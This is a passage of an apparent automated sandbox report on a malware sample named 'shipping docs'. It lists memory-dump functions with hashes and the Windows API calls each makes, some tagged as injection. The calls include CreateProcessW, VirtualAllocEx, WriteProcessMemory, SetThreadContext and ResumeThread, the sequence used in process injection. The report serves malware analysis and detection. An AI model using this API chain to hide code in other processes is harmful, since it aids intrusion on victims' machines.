Instruction Fuzzy Hash: 3B71F5B4E09208CFCF14EFA5D5845ADBBB2FB59710F24A52ED80AB7254E735A942CF04

Uniqueness

Uniqueness Score: -1.00%

Function 04480006 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74cb58c95a23f9078cdf0bc81162976ee1c8b905f174113ddeed8252209ce83d
Instruction ID: 8856d6b5d3e11d9e0c0b857cda0b99e5e5c684918a785a4b7b77edc532ef7ee0
Opcode Fuzzy Hash: 74cb58c95a23f9078cdf0bc81162976ee1c8b905f174113ddeed8252209ce83d
Instruction Fuzzy Hash: 4C913574E0524CDFCB08DFA5E8545AEBBB2FF89304F25806AD816AB365DB346902CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04480040 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c803f4fad423bbc9db44b9a3eae5700900b4f0bd3dd7c01c2d150627291ad90
Instruction ID: a76b5db9f643fcdecc96b02e2e0800f81fe32bf1ed202278fcdedee8ec19ce1a
Opcode Fuzzy Hash: 2c803f4fad423bbc9db44b9a3eae5700900b4f0bd3dd7c01c2d150627291ad90
Instruction Fuzzy Hash: 5971D674E1121CDFDB08DFA5E9545AEBBB2FF89305F21802AD816AB364DB346902CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00B79148 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00B7938E

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 59c4aa35d7bdcbcb6e9ab210cc7c0ce491a1e90ee7bcf220af6e2c702f8ec5cb
Instruction ID: ba9f3ff32a68f4286bc9ce100d07d532a06800cab62b3414d1b7556700b17695
Opcode Fuzzy Hash: 59c4aa35d7bdcbcb6e9ab210cc7c0ce491a1e90ee7bcf220af6e2c702f8ec5cb
Instruction Fuzzy Hash: 57712270A00B059FD724DF2AD44575ABBF1FF88314F008A6DD49ADBA41DB74E9058F91

Uniqueness

Uniqueness Score: -1.00%

Function 04482BF5 Relevance: 1.6, APIs: 1, Instructions: 148
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 04482D53

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: ccfa535ee5666bc47de91b9d69e15a060912e485940f1e29d1ccde6d1cf6f43d
Instruction ID: b008289b142606501d4d56787c0b6f7a25ace9af4520f535cdc9c36a5977f616
Opcode Fuzzy Hash: ccfa535ee5666bc47de91b9d69e15a060912e485940f1e29d1ccde6d1cf6f43d
Instruction Fuzzy Hash: 9E510771900329DFDF24DF95C880BDEBBB5BF48314F1584AAE908A7250DB71AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04482C00 Relevance: 1.6, APIs: 1, Instructions: 143
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 04482D53

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c63340e0be68601fc45bcf8cca51943ea0f81f3b19172a7333a4ba1302438a93
Instruction ID: c30ab7a39cd7394e1b63595a5da25cce7e833ed7455a1c351ed33324dc44968a
Opcode Fuzzy Hash: c63340e0be68601fc45bcf8cca51943ea0f81f3b19172a7333a4ba1302438a93
Instruction Fuzzy Hash: B1510771900329DFDF24DF95C880BDEBBB5BF48304F1584AAE908A7250DB71AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00B7FA4D Relevance: 1.6, APIs: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00B7FB6A

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1595679dbb89ec702d5b570b00c038f66d856d69065406fa07f5b12dfaba7428
Instruction ID: 7fa643928d59fa510a9dd45a2bd628b686de26aade2b10995a7d75f3192f5e5a
Opcode Fuzzy Hash: 1595679dbb89ec702d5b570b00c038f66d856d69065406fa07f5b12dfaba7428
Instruction Fuzzy Hash: 5051CEB1D003099FDB14CFAAC884ADEBFB5FF48314F24816AE819AB250D7709945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DCCC Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 00B7FB6A

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 12daf8036172dea68d196263af23d920e609b0dba4ccfd7dc034e70319301d40
Instruction ID: 6893fdc2e7d33da4cdf19847ec5749b7e2ab1d18de67c6de40638f134b2955c9
Opcode Fuzzy Hash: 12daf8036172dea68d196263af23d920e609b0dba4ccfd7dc034e70319301d40
Instruction Fuzzy Hash: C351CFB1D003499FDB14CF99C884ADEBBF5FF48354F24816AE819AB250D7749845CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04A422F0 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04A423B1

Memory Dump Source

Source File: 00000000.00000002.278100258.0000000004A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a40000_shipping docs.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 2691d35cee36f5e2a4ee9051474d3074da01aa9f333abe634db770dc1757cc5a
Instruction ID: e0beb62321c2b98d911284b81acf3cac7486c57f70fd2a598304ad1b9e6f31d6
Opcode Fuzzy Hash: 2691d35cee36f5e2a4ee9051474d3074da01aa9f333abe634db770dc1757cc5a
Instruction Fuzzy Hash: 9041F7B5A003458FDB14CF99C488B9EBBF5FF88354F258499E519AB321D374A841CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 044831A0 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04483235

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c90ee5a0dbb4a65e2fbeefb4c2827f45b3c59e973730b1bdee69d61538cf3b15
Instruction ID: 9331c1ecfd38726555e863d6cf0275816782d92982a07baf09e674d7a7ebef67
Opcode Fuzzy Hash: c90ee5a0dbb4a65e2fbeefb4c2827f45b3c59e973730b1bdee69d61538cf3b15
Instruction Fuzzy Hash: 9621F2B19002499FCB10DFAAD885BDEFBF4FB48314F10842AE959A7250D378A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04483C09 Relevance: 1.6, APIs: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 04483C6D

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 4e676ee71e94bbd9e534764cda595e2869040b6c4cf3c45d4b89f5a3eae5be2f
Instruction ID: 43810aaf5b24925e4b7ac4c377257f3297bc58fe9b1917aed4118416d7d98dce
Opcode Fuzzy Hash: 4e676ee71e94bbd9e534764cda595e2869040b6c4cf3c45d4b89f5a3eae5be2f
Instruction Fuzzy Hash: 352134B68002498FDB20DF99D488BDEFBF4EB58724F20841EE959A7600C375A585CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B79758 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00B7B71E,?,?,?,?,?), ref: 00B7B7DF

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c71a1ed44948d0fdb1311f0b7e4cc40d222a3ea0b4dec575ca47552353bd8c67
Instruction ID: 24de47384032ba47ea63fd039064842573aba23f8de62aa1b3fe6f9e5993b8db
Opcode Fuzzy Hash: c71a1ed44948d0fdb1311f0b7e4cc40d222a3ea0b4dec575ca47552353bd8c67
Instruction Fuzzy Hash: B421E4B59003499FDB10CF99D584BEEBBF4FB48324F14846AE958A7310D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 044831A8 Relevance: 1.6, APIs: 1, Instructions: 65injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04483235

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 809edf81b596cecee492263f94a0436659e36a8f484f34a0359addd0a00bf62b
Instruction ID: 9c8284d23a43369fe71637fe0a47b4c9c81c55e0478c44916e3a06f19acf646a
Opcode Fuzzy Hash: 809edf81b596cecee492263f94a0436659e36a8f484f34a0359addd0a00bf62b
Instruction Fuzzy Hash: 0121E0B19002599FCF10DF9AD885BDEFBF4FB48314F10842AE958A7350D778A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B7B750 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00B7B71E,?,?,?,?,?), ref: 00B7B7DF

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8a833c34e780bd5a69e7988b3abc505b6d4598bf2f4fddabc8075e4d1b3fa113
Instruction ID: 7822b7298efbdd5f365b308ab9bd27634ad063455969ec8254c8b24dad4ec846
Opcode Fuzzy Hash: 8a833c34e780bd5a69e7988b3abc505b6d4598bf2f4fddabc8075e4d1b3fa113
Instruction Fuzzy Hash: 572112B69002499FDB00CFAAD584BDEFBF4FB48324F14846AE918A3310D374A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04482F68 Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 04482FE7

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 2420f22e8e7375a73b79898dfd27e7276085bba92ea909846d5f5736f6244eb3
Instruction ID: 644639b1f54ab9ff2eba0ce76989857d9a6ae035d798aec539a614ec72d55306
Opcode Fuzzy Hash: 2420f22e8e7375a73b79898dfd27e7276085bba92ea909846d5f5736f6244eb3
Instruction Fuzzy Hash: CC2113B190025A9FCB00CF9AD485BEEFBB4FB48224F14816AE418A7641D778A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04483029 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 044830AF

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a94043baf994872b5a3d5ac36918fa9254fcc52b8a73e111f994bfb597253b94
Instruction ID: de28cb2844e4b753484de2abc2e348312523cef5e29fd0c246512941fc87c0cd
Opcode Fuzzy Hash: a94043baf994872b5a3d5ac36918fa9254fcc52b8a73e111f994bfb597253b94
Instruction Fuzzy Hash: 5521D0B59012599FCB10CF9AD884BDEFBF4FB49320F10842AE958A7350D379A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04483030 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 044830AF

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 9c6cf8d5910cce794b69283269e2398a250de19683f9975d88e8ca17c71578d7
Instruction ID: a38462c2c869083b5f3fd483e39ba8a10fd7978bb5902c8c074be34912f5f2a6
Opcode Fuzzy Hash: 9c6cf8d5910cce794b69283269e2398a250de19683f9975d88e8ca17c71578d7
Instruction Fuzzy Hash: BA21DBB59012599FCB10CF9AD884BDEBBF4FB48320F10842AE958A7250D379A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04482F70 Relevance: 1.6, APIs: 1, Instructions: 58threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 04482FE7

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 8cd94b052337220a5a4128c93ee31497c59e0fe15c35ffa07cb40ac44deba743
Instruction ID: d1586d4db009b330cb9cf766981347efa0297e3daafe39e328bf5098800c33b1
Opcode Fuzzy Hash: 8cd94b052337220a5a4128c93ee31497c59e0fe15c35ffa07cb40ac44deba743
Instruction Fuzzy Hash: D921F4B1D0025A9BCB00CF9AD885B9EFBB4BB48224F14816AE518A7741D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 044830F9 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0448316B

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 62245fbd66e99c1e6dee64297a793e9cae4944b8a2d75b0d7f1c4e1cb77ccf20
Instruction ID: 95f020f2c1f6d3a236838bc69526f8ccd7ceb5ed3a3c936ea0707576c0bbe932
Opcode Fuzzy Hash: 62245fbd66e99c1e6dee64297a793e9cae4944b8a2d75b0d7f1c4e1cb77ccf20
Instruction Fuzzy Hash: 702156B18043889FCB11CF99C884BDEBFF4EF4A724F14845AE958A7251C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B793CC Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00B79809,00000800,00000000,00000000), ref: 00B79A1A

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0701fd57303665962b224a2a90c0d23153ba49522d18b23b69362a846cdc531d
Instruction ID: 3d782916fb485f485a394d1f5bf6f08cfa3c251a7e638111eec5ec4f5036e16f
Opcode Fuzzy Hash: 0701fd57303665962b224a2a90c0d23153ba49522d18b23b69362a846cdc531d
Instruction Fuzzy Hash: 4C11F2B29002499BDB10CF9AD484ADEFBF4EB48364F14846AE969A7200C374A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B799A8 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00B79809,00000800,00000000,00000000), ref: 00B79A1A

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d6d4956c5c01fb64e43ea29cc9458d61d47bbf6c3f7b4a0c00d838c4a23671dc
Instruction ID: f856d19675ebfd4c5a34da249f84958fc820bb0009921aca3211f53fc2e698cc
Opcode Fuzzy Hash: d6d4956c5c01fb64e43ea29cc9458d61d47bbf6c3f7b4a0c00d838c4a23671dc
Instruction Fuzzy Hash: BF1112B28002498FCB10CF9AD484BDEFBF4EB88324F14846AD569B7200C375A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B7FC99 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?,?,?,?,?,?,00B7FC88,?,?,?,?), ref: 00B7FCFD

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: bc009be1a79ccd195b39c086b600899fd4af3502bb8558fe775e901a3e451b4e
Instruction ID: edd68dfbdf481190341cb4092d18c5852c2bb678507b498af65909b79617231b
Opcode Fuzzy Hash: bc009be1a79ccd195b39c086b600899fd4af3502bb8558fe775e901a3e451b4e
Instruction Fuzzy Hash: DD1125B58002498FDB10CF99D585BDEFBF4EB48324F20841AD818A7300C3B4AA45CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04483100 Relevance: 1.5, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0448316B

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ff9a5479aac0ba769fb74f7617e9aed49327fbe0cd0021b30c1e5d1882fb5df4
Instruction ID: c2157047578c3ded13903cd4dfe93f5ca5fb0c743807d06533f8e7ff8cb16c8f
Opcode Fuzzy Hash: ff9a5479aac0ba769fb74f7617e9aed49327fbe0cd0021b30c1e5d1882fb5df4
Instruction Fuzzy Hash: 9411E0B59002499FCB10DF9AD884BDFBBF4FB48724F14841AE968A7250C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B79328 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00B7938E

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 953e2f79bec56184cddcbad05eaffd05f2b6566060d916c6300ee04683e0adec
Instruction ID: f84fbeee898c8e22ee6cd9adff1d7643c3b49961153a3c5c74da20971382507d
Opcode Fuzzy Hash: 953e2f79bec56184cddcbad05eaffd05f2b6566060d916c6300ee04683e0adec
Instruction Fuzzy Hash: FB110FB2C002498FCB10CF9AD444BDEFBF4EB88324F15846AD429A7640C374A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DD04 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?,?,?,?,?,?,00B7FC88,?,?,?,?), ref: 00B7FCFD

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 64dca840cbbae746878c84da090e01a967e39f907371c24bb137a1f569e338e1
Instruction ID: 902fdbd69abecc1d7f04fc5f088a069c0e8454aa0a2aecbc7fa12e0705d8418a
Opcode Fuzzy Hash: 64dca840cbbae746878c84da090e01a967e39f907371c24bb137a1f569e338e1
Instruction Fuzzy Hash: D5110AB58003499FDB10CF99D584BDEFBF8EB48324F14845AD955A7340C3B4A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04483359 Relevance: 1.5, APIs: 1, Instructions: 45threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 044833BF

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f0eac682efb203eb336d04fdd7eac1930c8cf26bdfa7a360a9a086f3fe8b0d1d
Instruction ID: 225a3e706f31081ed5045c8ebe3e61eea1546f9a000a48c3fc372d259b496775
Opcode Fuzzy Hash: f0eac682efb203eb336d04fdd7eac1930c8cf26bdfa7a360a9a086f3fe8b0d1d
Instruction Fuzzy Hash: 611133B59002498FCB10CF99D484BDEBBF4EB48324F24881AD959A7300C775A941CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04483C10 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 04483C6D

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 6aa8931f93f382fd7a4ffed631d4a62bc2988a452b4dd7464ced2862b697e7be
Instruction ID: 6037160ebe3f41af667e405ab12d2d7c44c7d9fc891a90980e5e4b1492f51ee8
Opcode Fuzzy Hash: 6aa8931f93f382fd7a4ffed631d4a62bc2988a452b4dd7464ced2862b697e7be
Instruction Fuzzy Hash: 2311D0B58003499FDB10DF99D888BDFBBF8EB58724F14841AE955A7600C375A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04483360 Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 044833BF

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0a9d3a7240f42bd7824e25c1c299bc899a25b51f6360eaee97cf782a5a7b1ce3
Instruction ID: 2742cce919fbf0b9d23d055b03dce96e702a8ff2853e1f64808c753d074797a5
Opcode Fuzzy Hash: 0a9d3a7240f42bd7824e25c1c299bc899a25b51f6360eaee97cf782a5a7b1ce3
Instruction Fuzzy Hash: 0E1112B18002498FCB10DF9AD488BDFFBF4EB48324F20841AD559A7740C775A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0097D4A0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265063261.000000000097D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0097D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_97d000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83a6230256b990637c6ab5eae2b70f0873b653dda3a7fed790a8d57a9f2c4d5c
Instruction ID: 47387fc64bd6faefdef791794669dbd8dad3651594b5f30f66f4f6a58b42ecba
Opcode Fuzzy Hash: 83a6230256b990637c6ab5eae2b70f0873b653dda3a7fed790a8d57a9f2c4d5c
Instruction Fuzzy Hash: 172125B2504240DFDB11CF14D9C0B26BF75FF88328F24C569E90A4B25AC33AE846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0098D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265096750.000000000098D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0098D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_98d000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef17f38896539ec513df289934042c5f27a7e8f2445f6d2193a262cd55adbc8d
Instruction ID: c6d9bbb640d135a73192b7e0147dd8abc3f93bceb5f1448125d11abf2d16511b
Opcode Fuzzy Hash: ef17f38896539ec513df289934042c5f27a7e8f2445f6d2193a262cd55adbc8d
Instruction Fuzzy Hash: 212107B1504244DFDB14EF14D8C4B26BB65FB84314F24C96DD9494B386C33AD847CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0098D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265096750.000000000098D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0098D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_98d000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fe28c06e5b7ed72ed9658356b425f56744e9832150547138cc9ccaf21feb88a
Instruction ID: 14dbff1d11c0c1a824b7d5b8380cd9735409f3e0b6f72e7d0e461efa4939a038
Opcode Fuzzy Hash: 6fe28c06e5b7ed72ed9658356b425f56744e9832150547138cc9ccaf21feb88a
Instruction Fuzzy Hash: 4B21F5B1504244DFDB05EF14D5C0F26BBA5FB84314F24CA69D9494B386C33AD846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0098D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265096750.000000000098D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0098D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_98d000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ced31335bd9abff96b7d13da3f9dce7e6510f4b78d06b3c37d8fd68161457a3
Instruction ID: f2cd306d56b3b4b82b16ceec75cacfb3ab1e4bd43475ada7fd8cada18ff943aa
Opcode Fuzzy Hash: 9ced31335bd9abff96b7d13da3f9dce7e6510f4b78d06b3c37d8fd68161457a3
Instruction Fuzzy Hash: CE2180755093C08FDB12CF20D994715BF71EB46314F28C5DAD8498B697C33A980ACB62

Uniqueness

